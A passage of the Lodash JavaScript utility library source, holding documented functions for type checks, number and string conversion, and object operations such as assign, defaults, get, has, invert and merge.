     * Checks if `value` is classified as a typed array.
     *
     * @static
     * @memberOf _
     * @since 3.0.0
     * @category Lang
     * @param {*} value The value to check.
     * @returns {boolean} Returns `true` if `value` is a typed array, else `false`.
     * @example
     *
     * _.isTypedArray(new Uint8Array);
     * // => true
     *
     * _.isTypedArray([]);
     * // => false
     */
    var isTypedArray = nodeIsTypedArray ? baseUnary(nodeIsTypedArray) : baseIsTypedArray;

    /**
     * Checks if `value` is `undefined`.
     *
     * @static
     * @since 0.1.0
     * @memberOf _
     * @category Lang
     * @param {*} value The value to check.
     * @returns {boolean} Returns `true` if `value` is `undefined`, else `false`.
     * @example
     *
     * _.isUndefined(void 0);
     * // => true
     *
     * _.isUndefined(null);
     * // => false
     */
    function isUndefined(value) {
      return value === undefined;
    }

    /**
     * Checks if `value` is classified as a `WeakMap` object.
     *
     * @static
     * @memberOf _
     * @since 4.3.0
     * @category Lang
     * @param {*} value The value to check.
     * @returns {boolean} Returns `true` if `value` is a weak map, else `false`.
     * @example
     *
     * _.isWeakMap(new WeakMap);
     * // => true
     *
     * _.isWeakMap(new Map);
     * // => false
     */
    function isWeakMap(value) {
      return isObjectLike(value) && getTag(value) == weakMapTag;
    }

    /**
     * Checks if `value` is classified as a `WeakSet` object.
     *
     * @static
     * @memberOf _
     * @since 4.3.0
     * @category Lang
     * @param {*} value The value to check.
     * @returns {boolean} Returns `true` if `value` is a weak set, else `false`.
     * @example
     *
     * _.isWeakSet(new WeakSet);
     * // => true
     *
     * _.isWeakSet(new Set);
     * // => false
     */
    function isWeakSet(value) {
      return isObjectLike(value) && baseGetTag(value) == weakSetTag;
    }

    /**
     * Checks if `value` is less than `other`.
     *
     * @static
     * @memberOf _
     * @since 3.9.0
     * @category Lang
     * @param {*} value The value to compare.
     * @param {*} other The other value to compare.
     * @returns {boolean} Returns `true` if `value` is less than `other`,
     *  else `false`.
     * @see _.gt
     * @example
     *
     * _.lt(1, 3);
     * // => true
     *
     * _.lt(3, 3);
     * // => false
     *
     * _.lt(3, 1);
     * // => false
     */
    var lt = createRelationalOperation(baseLt);

    /**
     * Checks if `value` is less than or equal to `other`.
     *
     * @static
     * @memberOf _
     * @since 3.9.0
     * @category Lang
     * @param {*} value The value to compare.
     * @param {*} other The other value to compare.
     * @returns {boolean} Returns `true` if `value` is less than or equal to
     *  `other`, else `false`.
     * @see _.gte
     * @example
     *
     * _.lte(1, 3);
     * // => true
     *
     * _.lte(3, 3);
     * // => true
     *
     * _.lte(3, 1);
     * // => false
     */
    var lte = createRelationalOperation(function(value, other) {
      return value <= other;
    });

    /**
     * Converts `value` to an array.
     *
     * @static
     * @since 0.1.0
     * @memberOf _
     * @category Lang
     * @param {*} value The value to convert.
     * @returns {Array} Returns the converted array.
     * @example
     *
     * _.toArray({ 'a': 1, 'b': 2 });
     * // => [1, 2]
     *
     * _.toArray('abc');
     * // => ['a', 'b', 'c']
     *
     * _.toArray(1);
     * // => []
     *
     * _.toArray(null);
     * // => []
     */
    function toArray(value) {
      if (!value) {
        return [];
      }
      if (isArrayLike(value)) {
        return isString(value) ? stringToArray(value) : copyArray(value);
      }
      if (symIterator && value[symIterator]) {
        return iteratorToArray(value[symIterator]());
      }
      var tag = getTag(value),
          func = tag == mapTag ? mapToArray : (tag == setTag ? setToArray : values);

      return func(value);
    }

    /**
     * Converts `value` to a finite number.
     *
     * @static
     * @memberOf _
     * @since 4.12.0
     * @category Lang
     * @param {*} value The value to convert.
     * @returns {number} Returns the converted number.
     * @example
     *
     * _.toFinite(3.2);
     * // => 3.2
     *
     * _.toFinite(Number.MIN_VALUE);
     * // => 5e-324
     *
     * _.toFinite(Infinity);
     * // => 1.7976931348623157e+308
     *
     * _.toFinite('3.2');
     * // => 3.2
     */
    function toFinite(value) {
      if (!value) {
        return value === 0 ? value : 0;
      }
      value = toNumber(value);
      if (value === INFINITY || value === -INFINITY) {
        var sign = (value < 0 ? -1 : 1);
        return sign * MAX_INTEGER;
      }
      return value === value ? value : 0;
    }

    /**
     * Converts `value` to an integer.
     *
     * **Note:** This method is loosely based on
     * [`ToInteger`](http://www.ecma-international.org/ecma-262/7.0/#sec-tointeger).
     *
     * @static
     * @memberOf _
     * @since 4.0.0
     * @category Lang
     * @param {*} value The value to convert.
     * @returns {number} Returns the converted integer.
     * @example
     *
     * _.toInteger(3.2);
     * // => 3
     *
     * _.toInteger(Number.MIN_VALUE);
     * // => 0
     *
     * _.toInteger(Infinity);
     * // => 1.7976931348623157e+308
     *
     * _.toInteger('3.2');
     * // => 3
     */
    function toInteger(value) {
      var result = toFinite(value),
          remainder = result % 1;

      return result === result ? (remainder ? result - remainder : result) : 0;
    }

    /**
     * Converts `value` to an integer suitable for use as the length of an
     * array-like object.
     *
     * **Note:** This method is based on
     * [`ToLength`](http://ecma-international.org/ecma-262/7.0/#sec-tolength).
     *
     * @static
     * @memberOf _
     * @since 4.0.0
     * @category Lang
     * @param {*} value The value to convert.
     * @returns {number} Returns the converted integer.
     * @example
     *
     * _.toLength(3.2);
     * // => 3
     *
     * _.toLength(Number.MIN_VALUE);
     * // => 0
     *
     * _.toLength(Infinity);
     * // => 4294967295
     *
     * _.toLength('3.2');
     * // => 3
     */
    function toLength(value) {
      return value ? baseClamp(toInteger(value), 0, MAX_ARRAY_LENGTH) : 0;
    }

    /**
     * Converts `value` to a number.
     *
     * @static
     * @memberOf _
     * @since 4.0.0
     * @category Lang
     * @param {*} value The value to process.
     * @returns {number} Returns the number.
     * @example
     *
     * _.toNumber(3.2);
     * // => 3.2
     *
     * _.toNumber(Number.MIN_VALUE);
     * // => 5e-324
     *
     * _.toNumber(Infinity);
     * // => Infinity
     *
     * _.toNumber('3.2');
     * // => 3.2
     */
    function toNumber(value) {
      if (typeof value == 'number') {
        return value;
      }
      if (isSymbol(value)) {
        return NAN;
      }
      if (isObject(value)) {
        var other = typeof value.valueOf == 'function' ? value.valueOf() : value;
        value = isObject(other) ? (other + '') : other;
      }
      if (typeof value != 'string') {
        return value === 0 ? value : +value;
      }
      value = baseTrim(value);
      var isBinary = reIsBinary.test(value);
      return (isBinary || reIsOctal.test(value))
        ? freeParseInt(value.slice(2), isBinary ? 2 : 8)
        : (reIsBadHex.test(value) ? NAN : +value);
    }

    /**
     * Converts `value` to a plain object flattening inherited enumerable string
     * keyed properties of `value` to own properties of the plain object.
     *
     * @static
     * @memberOf _
     * @since 3.0.0
     * @category Lang
     * @param {*} value The value to convert.
     * @returns {Object} Returns the converted plain object.
     * @example
     *
     * function Foo() {
     *   this.b = 2;
     * }
     *
     * Foo.prototype.c = 3;
     *
     * _.assign({ 'a': 1 }, new Foo);
     * // => { 'a': 1, 'b': 2 }
     *
     * _.assign({ 'a': 1 }, _.toPlainObject(new Foo));
     * // => { 'a': 1, 'b': 2, 'c': 3 }
     */
    function toPlainObject(value) {
      return copyObject(value, keysIn(value));
    }

    /**
     * Converts `value` to a safe integer. A safe integer can be compared and
     * represented correctly.
     *
     * @static
     * @memberOf _
     * @since 4.0.0
     * @category Lang
     * @param {*} value The value to convert.
     * @returns {number} Returns the converted integer.
     * @example
     *
     * _.toSafeInteger(3.2);
     * // => 3
     *
     * _.toSafeInteger(Number.MIN_VALUE);
     * // => 0
     *
     * _.toSafeInteger(Infinity);
     * // => 9007199254740991
     *
     * _.toSafeInteger('3.2');
     * // => 3
     */
    function toSafeInteger(value) {
      return value
        ? baseClamp(toInteger(value), -MAX_SAFE_INTEGER, MAX_SAFE_INTEGER)
        : (value === 0 ? value : 0);
    }

    /**
     * Converts `value` to a string. An empty string is returned for `null`
     * and `undefined` values. The sign of `-0` is preserved.
     *
     * @static
     * @memberOf _
     * @since 4.0.0
     * @category Lang
     * @param {*} value The value to convert.
     * @returns {string} Returns the converted string.
     * @example
     *
     * _.toString(null);
     * // => ''
     *
     * _.toString(-0);
     * // => '-0'
     *
     * _.toString([1, 2, 3]);
     * // => '1,2,3'
     */
    function toString(value) {
      return value == null ? '' : baseToString(value);
    }

    /*------------------------------------------------------------------------*/

    /**
     * Assigns own enumerable string keyed properties of source objects to the
     * destination object. Source objects are applied from left to right.
     * Subsequent sources overwrite property assignments of previous sources.
     *
     * **Note:** This method mutates `object` and is loosely based on
     * [`Object.assign`](https://mdn.io/Object/assign).
     *
     * @static
     * @memberOf _
     * @since 0.10.0
     * @category Object
     * @param {Object} object The destination object.
     * @param {...Object} [sources] The source objects.
     * @returns {Object} Returns `object`.
     * @see _.assignIn
     * @example
     *
     * function Foo() {
     *   this.a = 1;
     * }
     *
     * function Bar() {
     *   this.c = 3;
     * }
     *
     * Foo.prototype.b = 2;
     * Bar.prototype.d = 4;
     *
     * _.assign({ 'a': 0 }, new Foo, new Bar);
     * // => { 'a': 1, 'c': 3 }
     */
    var assign = createAssigner(function(object, source) {
      if (isPrototype(source) || isArrayLike(source)) {
        copyObject(source, keys(source), object);
        return;
      }
      for (var key in source) {
        if (hasOwnProperty.call(source, key)) {
          assignValue(object, key, source[key]);
        }
      }
    });

    /**
     * This method is like `_.assign` except that it iterates over own and
     * inherited source properties.
     *
     * **Note:** This method mutates `object`.
     *
     * @static
     * @memberOf _
     * @since 4.0.0
     * @alias extend
     * @category Object
     * @param {Object} object The destination object.
     * @param {...Object} [sources] The source objects.
     * @returns {Object} Returns `object`.
     * @see _.assign
     * @example
     *
     * function Foo() {
     *   this.a = 1;
     * }
     *
     * function Bar() {
     *   this.c = 3;
     * }
     *
     * Foo.prototype.b = 2;
     * Bar.prototype.d = 4;
     *
     * _.assignIn({ 'a': 0 }, new Foo, new Bar);
     * // => { 'a': 1, 'b': 2, 'c': 3, 'd': 4 }
     */
    var assignIn = createAssigner(function(object, source) {
      copyObject(source, keysIn(source), object);
    });

    /**
     * This method is like `_.assignIn` except that it accepts `customizer`
     * which is invoked to produce the assigned values. If `customizer` returns
     * `undefined`, assignment is handled by the method instead. The `customizer`
     * is invoked with five arguments: (objValue, srcValue, key, object, source).
     *
     * **Note:** This method mutates `object`.
     *
     * @static
     * @memberOf _
     * @since 4.0.0
     * @alias extendWith
     * @category Object
     * @param {Object} object The destination object.
     * @param {...Object} sources The source objects.
     * @param {Function} [customizer] The function to customize assigned values.
     * @returns {Object} Returns `object`.
     * @see _.assignWith
     * @example
     *
     * function customizer(objValue, srcValue) {
     *   return _.isUndefined(objValue) ? srcValue : objValue;
     * }
     *
     * var defaults = _.partialRight(_.assignInWith, customizer);
     *
     * defaults({ 'a': 1 }, { 'b': 2 }, { 'a': 3 });
     * // => { 'a': 1, 'b': 2 }
     */
    var assignInWith = createAssigner(function(object, source, srcIndex, customizer) {
      copyObject(source, keysIn(source), object, customizer);
    });

    /**
     * This method is like `_.assign` except that it accepts `customizer`
     * which is invoked to produce the assigned values. If `customizer` returns
     * `undefined`, assignment is handled by the method instead. The `customizer`
     * is invoked with five arguments: (objValue, srcValue, key, object, source).
     *
     * **Note:** This method mutates `object`.
     *
     * @static
     * @memberOf _
     * @since 4.0.0
     * @category Object
     * @param {Object} object The destination object.
     * @param {...Object} sources The source objects.
     * @param {Function} [customizer] The function to customize assigned values.
     * @returns {Object} Returns `object`.
     * @see _.assignInWith
     * @example
     *
     * function customizer(objValue, srcValue) {
     *   return _.isUndefined(objValue) ? srcValue : objValue;
     * }
     *
     * var defaults = _.partialRight(_.assignWith, customizer);
     *
     * defaults({ 'a': 1 }, { 'b': 2 }, { 'a': 3 });
     * // => { 'a': 1, 'b': 2 }
     */
    var assignWith = createAssigner(function(object, source, srcIndex, customizer) {
      copyObject(source, keys(source), object, customizer);
    });

    /**
     * Creates an array of values corresponding to `paths` of `object`.
     *
     * @static
     * @memberOf _
     * @since 1.0.0
     * @category Object
     * @param {Object} object The object to iterate over.
     * @param {...(string|string[])} [paths] The property paths to pick.
     * @returns {Array} Returns the picked values.
     * @example
     *
     * var object = { 'a': [{ 'b': { 'c': 3 } }, 4] };
     *
     * _.at(object, ['a[0].b.c', 'a[1]']);
     * // => [3, 4]
     */
    var at = flatRest(baseAt);

    /**
     * Creates an object that inherits from the `prototype` object. If a
     * `properties` object is given, its own enumerable string keyed properties
     * are assigned to the created object.
     *
     * @static
     * @memberOf _
     * @since 2.3.0
     * @category Object
     * @param {Object} prototype The object to inherit from.
     * @param {Object} [properties] The properties to assign to the object.
     * @returns {Object} Returns the new object.
     * @example
     *
     * function Shape() {
     *   this.x = 0;
     *   this.y = 0;
     * }
     *
     * function Circle() {
     *   Shape.call(this);
     * }
     *
     * Circle.prototype = _.create(Shape.prototype, {
     *   'constructor': Circle
     * });
     *
     * var circle = new Circle;
     * circle instanceof Circle;
     * // => true
     *
     * circle instanceof Shape;
     * // => true
     */
    function create(prototype, properties) {
      var result = baseCreate(prototype);
      return properties == null ? result : baseAssign(result, properties);
    }

    /**
     * Assigns own and inherited enumerable string keyed properties of source
     * objects to the destination object for all destination properties that
     * resolve to `undefined`. Source objects are applied from left to right.
     * Once a property is set, additional values of the same property are ignored.
     *
     * **Note:** This method mutates `object`.
     *
     * @static
     * @since 0.1.0
     * @memberOf _
     * @category Object
     * @param {Object} object The destination object.
     * @param {...Object} [sources] The source objects.
     * @returns {Object} Returns `object`.
     * @see _.defaultsDeep
     * @example
     *
     * _.defaults({ 'a': 1 }, { 'b': 2 }, { 'a': 3 });
     * // => { 'a': 1, 'b': 2 }
     */
    var defaults = baseRest(function(object, sources) {
      object = Object(object);

      var index = -1;
      var length = sources.length;
      var guard = length > 2 ? sources[2] : undefined;

      if (guard && isIterateeCall(sources[0], sources[1], guard)) {
        length = 1;
      }

      while (++index < length) {
        var source = sources[index];
        var props = keysIn(source);
        var propsIndex = -1;
        var propsLength = props.length;

        while (++propsIndex < propsLength) {
          var key = props[propsIndex];
          var value = object[key];

          if (value === undefined ||
              (eq(value, objectProto[key]) && !hasOwnProperty.call(object, key))) {
            object[key] = source[key];
          }
        }
      }

      return object;
    });

    /**
     * This method is like `_.defaults` except that it recursively assigns
     * default properties.
     *
     * **Note:** This method mutates `object`.
     *
     * @static
     * @memberOf _
     * @since 3.10.0
     * @category Object
     * @param {Object} object The destination object.
     * @param {...Object} [sources] The source objects.
     * @returns {Object} Returns `object`.
     * @see _.defaults
     * @example
     *
     * _.defaultsDeep({ 'a': { 'b': 2 } }, { 'a': { 'b': 1, 'c': 3 } });
     * // => { 'a': { 'b': 2, 'c': 3 } }
     */
    var defaultsDeep = baseRest(function(args) {
      args.push(undefined, customDefaultsMerge);
      return apply(mergeWith, undefined, args);
    });

    /**
     * This method is like `_.find` except that it returns the key of the first
     * element `predicate` returns truthy for instead of the element itself.
     *
     * @static
     * @memberOf _
     * @since 1.1.0
     * @category Object
     * @param {Object} object The object to inspect.
     * @param {Function} [predicate=_.identity] The function invoked per iteration.
     * @returns {string|undefined} Returns the key of the matched element,
     *  else `undefined`.
     * @example
     *
     * var users = {
     *   'barney':  { 'age': 36, 'active': true },
     *   'fred':    { 'age': 40, 'active': false },
     *   'pebbles': { 'age': 1,  'active': true }
     * };
     *
     * _.findKey(users, function(o) { return o.age < 40; });
     * // => 'barney' (iteration order is not guaranteed)
     *
     * // The `_.matches` iteratee shorthand.
     * _.findKey(users, { 'age': 1, 'active': true });
     * // => 'pebbles'
     *
     * // The `_.matchesProperty` iteratee shorthand.
     * _.findKey(users, ['active', false]);
     * // => 'fred'
     *
     * // The `_.property` iteratee shorthand.
     * _.findKey(users, 'active');
     * // => 'barney'
     */
    function findKey(object, predicate) {
      return baseFindKey(object, getIteratee(predicate, 3), baseForOwn);
    }

    /**
     * This method is like `_.findKey` except that it iterates over elements of
     * a collection in the opposite order.
     *
     * @static
     * @memberOf _
     * @since 2.0.0
     * @category Object
     * @param {Object} object The object to inspect.
     * @param {Function} [predicate=_.identity] The function invoked per iteration.
     * @returns {string|undefined} Returns the key of the matched element,
     *  else `undefined`.
     * @example
     *
     * var users = {
     *   'barney':  { 'age': 36, 'active': true },
     *   'fred':    { 'age': 40, 'active': false },
     *   'pebbles': { 'age': 1,  'active': true }
     * };
     *
     * _.findLastKey(users, function(o) { return o.age < 40; });
     * // => returns 'pebbles' assuming `_.findKey` returns 'barney'
     *
     * // The `_.matches` iteratee shorthand.
     * _.findLastKey(users, { 'age': 36, 'active': true });
     * // => 'barney'
     *
     * // The `_.matchesProperty` iteratee shorthand.
     * _.findLastKey(users, ['active', false]);
     * // => 'fred'
     *
     * // The `_.property` iteratee shorthand.
     * _.findLastKey(users, 'active');
     * // => 'pebbles'
     */
    function findLastKey(object, predicate) {
      return baseFindKey(object, getIteratee(predicate, 3), baseForOwnRight);
    }

    /**
     * Iterates over own and inherited enumerable string keyed properties of an
     * object and invokes `iteratee` for each property. The iteratee is invoked
     * with three arguments: (value, key, object). Iteratee functions may exit
     * iteration early by explicitly returning `false`.
     *
     * @static
     * @memberOf _
     * @since 0.3.0
     * @category Object
     * @param {Object} object The object to iterate over.
     * @param {Function} [iteratee=_.identity] The function invoked per iteration.
     * @returns {Object} Returns `object`.
     * @see _.forInRight
     * @example
     *
     * function Foo() {
     *   this.a = 1;
     *   this.b = 2;
     * }
     *
     * Foo.prototype.c = 3;
     *
     * _.forIn(new Foo, function(value, key) {
     *   console.log(key);
     * });
     * // => Logs 'a', 'b', then 'c' (iteration order is not guaranteed).
     */
    function forIn(object, iteratee) {
      return object == null
        ? object
        : baseFor(object, getIteratee(iteratee, 3), keysIn);
    }

    /**
     * This method is like `_.forIn` except that it iterates over properties of
     * `object` in the opposite order.
     *
     * @static
     * @memberOf _
     * @since 2.0.0
     * @category Object
     * @param {Object} object The object to iterate over.
     * @param {Function} [iteratee=_.identity] The function invoked per iteration.
     * @returns {Object} Returns `object`.
     * @see _.forIn
     * @example
     *
     * function Foo() {
     *   this.a = 1;
     *   this.b = 2;
     * }
     *
     * Foo.prototype.c = 3;
     *
     * _.forInRight(new Foo, function(value, key) {
     *   console.log(key);
     * });
     * // => Logs 'c', 'b', then 'a' assuming `_.forIn` logs 'a', 'b', then 'c'.
     */
    function forInRight(object, iteratee) {
      return object == null
        ? object
        : baseForRight(object, getIteratee(iteratee, 3), keysIn);
    }

    /**
     * Iterates over own enumerable string keyed properties of an object and
     * invokes `iteratee` for each property. The iteratee is invoked with three
     * arguments: (value, key, object). Iteratee functions may exit iteration
     * early by explicitly returning `false`.
     *
     * @static
     * @memberOf _
     * @since 0.3.0
     * @category Object
     * @param {Object} object The object to iterate over.
     * @param {Function} [iteratee=_.identity] The function invoked per iteration.
     * @returns {Object} Returns `object`.
     * @see _.forOwnRight
     * @example
     *
     * function Foo() {
     *   this.a = 1;
     *   this.b = 2;
     * }
     *
     * Foo.prototype.c = 3;
     *
     * _.forOwn(new Foo, function(value, key) {
     *   console.log(key);
     * });
     * // => Logs 'a' then 'b' (iteration order is not guaranteed).
     */
    function forOwn(object, iteratee) {
      return object && baseForOwn(object, getIteratee(iteratee, 3));
    }

    /**
     * This method is like `_.forOwn` except that it iterates over properties of
     * `object` in the opposite order.
     *
     * @static
     * @memberOf _
     * @since 2.0.0
     * @category Object
     * @param {Object} object The object to iterate over.
     * @param {Function} [iteratee=_.identity] The function invoked per iteration.
     * @returns {Object} Returns `object`.
     * @see _.forOwn
     * @example
     *
     * function Foo() {
     *   this.a = 1;
     *   this.b = 2;
     * }
     *
     * Foo.prototype.c = 3;
     *
     * _.forOwnRight(new Foo, function(value, key) {
     *   console.log(key);
     * });
     * // => Logs 'b' then 'a' assuming `_.forOwn` logs 'a' then 'b'.
     */
    function forOwnRight(object, iteratee) {
      return object && baseForOwnRight(object, getIteratee(iteratee, 3));
    }

    /**
     * Creates an array of function property names from own enumerable properties
     * of `object`.
     *
     * @static
     * @since 0.1.0
     * @memberOf _
     * @category Object
     * @param {Object} object The object to inspect.
     * @returns {Array} Returns the function names.
     * @see _.functionsIn
     * @example
     *
     * function Foo() {
     *   this.a = _.constant('a');
     *   this.b = _.constant('b');
     * }
     *
     * Foo.prototype.c = _.constant('c');
     *
     * _.functions(new Foo);
     * // => ['a', 'b']
     */
    function functions(object) {
      return object == null ? [] : baseFunctions(object, keys(object));
    }

    /**
     * Creates an array of function property names from own and inherited
     * enumerable properties of `object`.
     *
     * @static
     * @memberOf _
     * @since 4.0.0
     * @category Object
     * @param {Object} object The object to inspect.
     * @returns {Array} Returns the function names.
     * @see _.functions
     * @example
     *
     * function Foo() {
     *   this.a = _.constant('a');
     *   this.b = _.constant('b');
     * }
     *
     * Foo.prototype.c = _.constant('c');
     *
     * _.functionsIn(new Foo);
     * // => ['a', 'b', 'c']
     */
    function functionsIn(object) {
      return object == null ? [] : baseFunctions(object, keysIn(object));
    }

    /**
     * Gets the value at `path` of `object`. If the resolved value is
     * `undefined`, the `defaultValue` is returned in its place.
     *
     * @static
     * @memberOf _
     * @since 3.7.0
     * @category Object
     * @param {Object} object The object to query.
     * @param {Array|string} path The path of the property to get.
     * @param {*} [defaultValue] The value returned for `undefined` resolved values.
     * @returns {*} Returns the resolved value.
     * @example
     *
     * var object = { 'a': [{ 'b': { 'c': 3 } }] };
     *
     * _.get(object, 'a[0].b.c');
     * // => 3
     *
     * _.get(object, ['a', '0', 'b', 'c']);
     * // => 3
     *
     * _.get(object, 'a.b.c', 'default');
     * // => 'default'
     */
    function get(object, path, defaultValue) {
      var result = object == null ? undefined : baseGet(object, path);
      return result === undefined ? defaultValue : result;
    }

    /**
     * Checks if `path` is a direct property of `object`.
     *
     * @static
     * @since 0.1.0
     * @memberOf _
     * @category Object
     * @param {Object} object The object to query.
     * @param {Array|string} path The path to check.
     * @returns {boolean} Returns `true` if `path` exists, else `false`.
     * @example
     *
     * var object = { 'a': { 'b': 2 } };
     * var other = _.create({ 'a': _.create({ 'b': 2 }) });
     *
     * _.has(object, 'a');
     * // => true
     *
     * _.has(object, 'a.b');
     * // => true
     *
     * _.has(object, ['a', 'b']);
     * // => true
     *
     * _.has(other, 'a');
     * // => false
     */
    function has(object, path) {
      return object != null && hasPath(object, path, baseHas);
    }

    /**
     * Checks if `path` is a direct or inherited property of `object`.
     *
     * @static
     * @memberOf _
     * @since 4.0.0
     * @category Object
     * @param {Object} object The object to query.
     * @param {Array|string} path The path to check.
     * @returns {boolean} Returns `true` if `path` exists, else `false`.
     * @example
     *
     * var object = _.create({ 'a': _.create({ 'b': 2 }) });
     *
     * _.hasIn(object, 'a');
     * // => true
     *
     * _.hasIn(object, 'a.b');
     * // => true
     *
     * _.hasIn(object, ['a', 'b']);
     * // => true
     *
     * _.hasIn(object, 'b');
     * // => false
     */
    function hasIn(object, path) {
      return object != null && hasPath(object, path, baseHasIn);
    }

    /**
     * Creates an object composed of the inverted keys and values of `object`.
     * If `object` contains duplicate values, subsequent values overwrite
     * property assignments of previous values.
     *
     * @static
     * @memberOf _
     * @since 0.7.0
     * @category Object
     * @param {Object} object The object to invert.
     * @returns {Object} Returns the new inverted object.
     * @example
     *
     * var object = { 'a': 1, 'b': 2, 'c': 1 };
     *
     * _.invert(object);
     * // => { '1': 'c', '2': 'b' }
     */
    var invert = createInverter(function(result, value, key) {
      if (value != null &&
          typeof value.toString != 'function') {
        value = nativeObjectToString.call(value);
      }

      result[value] = key;
    }, constant(identity));

    /**
     * This method is like `_.invert` except that the inverted object is generated
     * from the results of running each element of `object` thru `iteratee`. The
     * corresponding inverted value of each inverted key is an array of keys
     * responsible for generating the inverted value. The iteratee is invoked
     * with one argument: (value).
     *
     * @static
     * @memberOf _
     * @since 4.1.0
     * @category Object
     * @param {Object} object The object to invert.
     * @param {Function} [iteratee=_.identity] The iteratee invoked per element.
     * @returns {Object} Returns the new inverted object.
     * @example
     *
     * var object = { 'a': 1, 'b': 2, 'c': 1 };
     *
     * _.invertBy(object);
     * // => { '1': ['a', 'c'], '2': ['b'] }
     *
     * _.invertBy(object, function(value) {
     *   return 'group' + value;
     * });
     * // => { 'group1': ['a', 'c'], 'group2': ['b'] }
     */
    var invertBy = createInverter(function(result, value, key) {
      if (value != null &&
          typeof value.toString != 'function') {
        value = nativeObjectToString.call(value);
      }

      if (hasOwnProperty.call(result, value)) {
        result[value].push(key);
      } else {
        result[value] = [key];
      }
    }, getIteratee);

    /**
     * Invokes the method at `path` of `object`.
     *
     * @static
     * @memberOf _
     * @since 4.0.0
     * @category Object
     * @param {Object} object The object to query.
     * @param {Array|string} path The path of the method to invoke.
     * @param {...*} [args] The arguments to invoke the method with.
     * @returns {*} Returns the result of the invoked method.
     * @example
     *
     * var object = { 'a': [{ 'b': { 'c': [1, 2, 3, 4] } }] };
     *
     * _.invoke(object, 'a[0].b.c.slice', 1, 3);
     * // => [2, 3]
     */
    var invoke = baseRest(baseInvoke);

    /**
     * Creates an array of the own enumerable property names of `object`.
     *
     * **Note:** Non-object values are coerced to objects. See the
     * [ES spec](http://ecma-international.org/ecma-262/7.0/#sec-object.keys)
     * for more details.
     *
     * @static
     * @since 0.1.0
     * @memberOf _
     * @category Object
     * @param {Object} object The object to query.
     * @returns {Array} Returns the array of property names.
     * @example
     *
     * function Foo() {
     *   this.a = 1;
     *   this.b = 2;
     * }
     *
     * Foo.prototype.c = 3;
     *
     * _.keys(new Foo);
     * // => ['a', 'b'] (iteration order is not guaranteed)
     *
     * _.keys('hi');
     * // => ['0', '1']
     */
    function keys(object) {
      return isArrayLike(object) ? arrayLikeKeys(object) : baseKeys(object);
    }

    /**
     * Creates an array of the own and inherited enumerable property names of `object`.
     *
     * **Note:** Non-object values are coerced to objects.
     *
     * @static
     * @memberOf _
     * @since 3.0.0
     * @category Object
     * @param {Object} object The object to query.
     * @returns {Array} Returns the array of property names.
     * @example
     *
     * function Foo() {
     *   this.a = 1;
     *   this.b = 2;
     * }
     *
     * Foo.prototype.c = 3;
     *
     * _.keysIn(new Foo);
     * // => ['a', 'b', 'c'] (iteration order is not guaranteed)
     */
    function keysIn(object) {
      return isArrayLike(object) ? arrayLikeKeys(object, true) : baseKeysIn(object);
    }

    /**
     * The opposite of `_.mapValues`; this method creates an object with the
     * same values as `object` and keys generated by running each own enumerable
     * string keyed property of `object` thru `iteratee`. The iteratee is invoked
     * with three arguments: (value, key, object).
     *
     * @static
     * @memberOf _
     * @since 3.8.0
     * @category Object
     * @param {Object} object The object to iterate over.
     * @param {Function} [iteratee=_.identity] The function invoked per iteration.
     * @returns {Object} Returns the new mapped object.
     * @see _.mapValues
     * @example
     *
     * _.mapKeys({ 'a': 1, 'b': 2 }, function(value, key) {
     *   return key + value;
     * });
     * // => { 'a1': 1, 'b2': 2 }
     */
    function mapKeys(object, iteratee) {
      var result = {};
      iteratee = getIteratee(iteratee, 3);

      baseForOwn(object, function(value, key, object) {
        baseAssignValue(result, iteratee(value, key, object), value);
      });
      return result;
    }

    /**
     * Creates an object with the same keys as `object` and values generated
     * by running each own enumerable string keyed property of `object` thru
     * `iteratee`. The iteratee is invoked with three arguments:
     * (value, key, object).
     *
     * @static
     * @memberOf _
     * @since 2.4.0
     * @category Object
     * @param {Object} object The object to iterate over.
     * @param {Function} [iteratee=_.identity] The function invoked per iteration.
     * @returns {Object} Returns the new mapped object.
     * @see _.mapKeys
     * @example
     *
     * var users = {
     *   'fred':    { 'user': 'fred',    'age': 40 },
     *   'pebbles': { 'user': 'pebbles', 'age': 1 }
     * };
     *
     * _.mapValues(users, function(o) { return o.age; });
     * // => { 'fred': 40, 'pebbles': 1 } (iteration order is not guaranteed)
     *
     * // The `_.property` iteratee shorthand.
     * _.mapValues(users, 'age');
     * // => { 'fred': 40, 'pebbles': 1 } (iteration order is not guaranteed)
     */
    function mapValues(object, iteratee) {
      var result = {};
      iteratee = getIteratee(iteratee, 3);

      baseForOwn(object, function(value, key, object) {
        baseAssignValue(result, key, iteratee(value, key, object));
      });
      return result;
    }

    /**
     * This method is like `_.assign` except that it recursively merges own and
     * inherited enumerable string keyed properties of source objects into the
     * destination object. Source properties that resolve to `undefined` are
     * skipped if a destination value exists. Array and plain object properties
     * are merged recursively. Other objects and value types are overridden by
     * assignment. Source objects are applied from left to right. Subsequent
     * sources overwrite property assignments of previous sources.
     *
     * **Note:** This method mutates `object`.
     *
     * @static
     * @memberOf _
     * @since 0.5.0
     * @category Object
     * @param {Object} object The destination object.
     * @param {...Object} [sources] The source objects.
     * @returns {Object} Returns `object`.
     * @example
     *
     * var object = {
     *   'a': [{ 'b': 2 }, { 'd': 4 }]
     * };
     *
     * var other = {
     *   'a': [{ 'c': 3 }, { 'e': 5 }]
     * };
     *
     * _.merge(object, other);
     * // => { 'a': [{ 'b': 2, 'c': 3 }, { 'd': 4, 'e': 5 }] }
     */
    var merge = createAssigner(function(object, source, srcIndex) {
      baseMerge(object, source, srcIndex);
    });

    /**
     * This method is like `_.merge` except that it accepts `customizer` which
     * is invoked to produce the merged values of the destination and source
     * properties. If `customizer` returns `undefined`, merging is handled by the
     * method instead. The `customizer` is invoked with six arguments:
     * (objValue, srcValue, key, object, source, stack).
     *
     * **Note:** This method mutates `object`.
     *
     * @static
     * @memberOf _
     * @since 4.0.0
     * @category Object
     * @param {Object} object The destination object.
     * @param {...Object} sources The source objects.
     * @param {Function} customizer The function to customize assigned values.
     * @returns {Object} Returns `object`.
     * @example
     *
     * function customizer(objValue, srcValue) {
     *   if (_.isArray(objValue)) {
     *     return objValue.concat(srcValue);
     *   }
     * }
     *
     * var object = { 'a': [1], 'b': [2] };
     * var other = { 'a': [3], 'b': [4] };
     *
     * _.mergeWith(object, other, customizer);
     * // => { 'a': [1, 3], 'b': [2, 4] }
     */
    var mergeWith = createAssigner(function(object, source, srcIndex, customizer) {
      baseMerge(object, source, srcIndex, customizer);
    });

    /**
     * The opposite of `_.pick`; this method creates an object composed of the
     * own and inherited enumerable property paths of `object` that are not omitted.
     *
     * **Note:** This method is considerably slower than `_.pick`.
     *
     * @static
     * @since 0.1.0
     * @memberOf _
     * @category Object
